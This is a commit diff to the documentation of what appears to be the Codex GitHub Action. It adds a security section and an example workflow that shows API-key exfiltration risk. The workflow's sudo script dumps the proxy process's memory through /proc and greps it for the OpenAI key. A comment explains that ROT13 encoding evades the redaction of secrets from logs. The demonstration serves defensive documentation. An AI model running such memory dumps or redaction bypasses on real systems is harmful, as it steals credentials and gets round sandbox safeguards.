docs: illustrate potential exfiltration risk (#16)
This commit is contained in:
@@ -111,7 +111,9 @@ jobs:
|
||||
|
||||
## Safety Strategy
|
||||
|
||||
- The `safety-strategy` input determines how much access Codex receives on the runner. Choosing the right option is critical, especially when sensitive secrets (like your OpenAI API key) are present.
|
||||
The `safety-strategy` input determines how much access Codex receives on the runner. Choosing the right option is critical, especially when sensitive secrets (like your OpenAI API key) are present.
|
||||
|
||||
See [Protecting your `OPENAI_API_KEY`](./docs/security.md#protecting-your-openai_api_key) on the Security page for important details on this topic.
|
||||
|
||||
- **`drop-sudo` (default)** — On Linux and macOS runners, the action revokes the default user’s `sudo` membership before invoking Codex. Codex then runs as that user without superuser privileges. This change lasts for the rest of the job, so subsequent steps cannot rely on `sudo`. This is usually the safest choice on GitHub-hosted runners.
|
||||
- **`unprivileged-user`** — Runs Codex as the user provided via `codex-user`. Use this if you manage your own runner with a pre-created unprivileged account. Ensure the user can read the repository checkout and any files Codex needs.
|
||||
|
||||
+1
-1
@@ -30,7 +30,7 @@ inputs:
|
||||
codex-version:
|
||||
description: "Version of `@openai/codex` to install."
|
||||
required: false
|
||||
default: "0.43.0-alpha.18"
|
||||
default: "0.45.0-alpha.4"
|
||||
codex-args:
|
||||
description: "Additional args to pass through to `codex exec`. If this value starts with `[`, it will be parsed as a JSON array; otherwise, it will be parsed as a shell-like string."
|
||||
required: false
|
||||
|
||||
@@ -1,5 +1,13 @@
|
||||
# Security
|
||||
|
||||
## Protecting your `OPENAI_API_KEY`
|
||||
|
||||
No doubt your `OPENAI_API_KEY` is an important secret that you do not want to share with the world. **Be sure to use either `drop-sudo` or `unprivileged-user` to ensure it stays secret!**
|
||||
|
||||
To underscore the importance of specifying either `drop-sudo` or `unprivileged-user` as the `safety-strategy` for `openai/codex-action`, we provide [an example](../examples/test-sandbox-protections.yml) of how **the combination of read-only access to the filesystem and `sudo` can be used to expose your `OPENAI_API_KEY`**. This often surprises developers, as many expect the combination of "read-only access" and no network to be a sufficient safeguard, but this is not the case in the presence of passwordless `sudo` (which is the default on GitHub-hosted runners). Notably, Linux's [procfs](https://en.wikipedia.org/wiki/Procfs) makes a considerable amount of information available via file-read operations to a user with appropriate privileges.
|
||||
|
||||
In the unfortunate event that your API key has leaked, see [this article](https://help.openai.com/en/articles/9047852-how-can-i-delete-my-api-key) that explains how delete/revoke an API key using the [OpenAI Platform's API keys page](https://platform.openai.com/api-keys).
|
||||
|
||||
## Recommendation: run `openai/codex-action` as the last step in a job
|
||||
|
||||
Particularly if you run Codex with loose permissions, there are no guarantees what the state of the host is when the `openai/codex-action` completes. For example:
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
# This example demonstrates the importance of using `drop-sudo` or `read-only`
|
||||
# safety strategies to prevent exfiltration of sensitive data like API keys.
|
||||
|
||||
name: Test sandbox protections
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
assess-exfiltration-risk:
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
safety-strategy:
|
||||
# `drop-sudo` is the default `safety-strategy`, which prevents the
|
||||
# malicious behavior allowed by the other strategies in this example.
|
||||
- drop-sudo
|
||||
# `read-only` cannot write files or talk to the network, but as we
|
||||
# will see, it still allows some dangerous operations.
|
||||
- read-only
|
||||
- unsafe
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
|
||||
- name: Run Codex (${{ matrix.safety-strategy }})
|
||||
uses: openai/codex-action@main
|
||||
with:
|
||||
# An OpenAI API key often starts with `sk-proj-` and is followed
|
||||
# by random characters matching [A-Za-z-0-9_-].
|
||||
openai-api-key: sk-proj-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
|
||||
safety-strategy: ${{ matrix.safety-strategy }}
|
||||
|
||||
- name: Try to dump the key from the codex-responses-api-proxy process
|
||||
run: |
|
||||
# Find the PID for the codex-responses-api-proxy process.
|
||||
SERVER_INFO_FILE="$HOME/.codex/${{ github.run_id }}.json"
|
||||
PID=$(jq .pid < "$SERVER_INFO_FILE")
|
||||
|
||||
# Using standard filesystem read operations (albeit privileged ones),
|
||||
# try to dump the memory of the process to disk to search for the key.
|
||||
sudo bash -s -- "$PID" <<'SCAN_MEM'
|
||||
pid="$1"
|
||||
mem="/proc/$pid/mem"
|
||||
i=0
|
||||
while read -r rng perms _; do
|
||||
[[ $perms != r* ]] && continue
|
||||
start=$((0x${rng%-*}))
|
||||
end=$((0x${rng#*-}))
|
||||
dd if="$mem" of="/tmp/$pid-$i.bin" bs=4096 iflag=skip_bytes,count_bytes \
|
||||
skip="$start" count="$((end - start))" status=none || true
|
||||
i=$((i + 1))
|
||||
done < "/proc/$pid/maps"
|
||||
SCAN_MEM
|
||||
|
||||
# Use ordinary grep to search for the key pattern in the dumped memory files.
|
||||
matches=$(grep -aPo '(?<![A-Za-z0-9_-])sk-proj-[A-Za-z0-9_-]+(?![A-Za-z0-9_-])' /tmp/${PID}-*.bin | sort -u)
|
||||
if [ -n "$matches" ]; then
|
||||
# Note that if `openai-api-key` was read from a GitHub secret, the
|
||||
# secret scanning feature would redact it from logs, but this
|
||||
# could easily be circumvented by using a toy cipher like ROT13:
|
||||
# https://en.wikipedia.org/wiki/ROT13.
|
||||
echo "Potential leaks found:"
|
||||
printf '%s\n' "$matches"
|
||||
else
|
||||
echo "No leaks found"
|
||||
fi
|
||||
Reference in New Issue
Block a user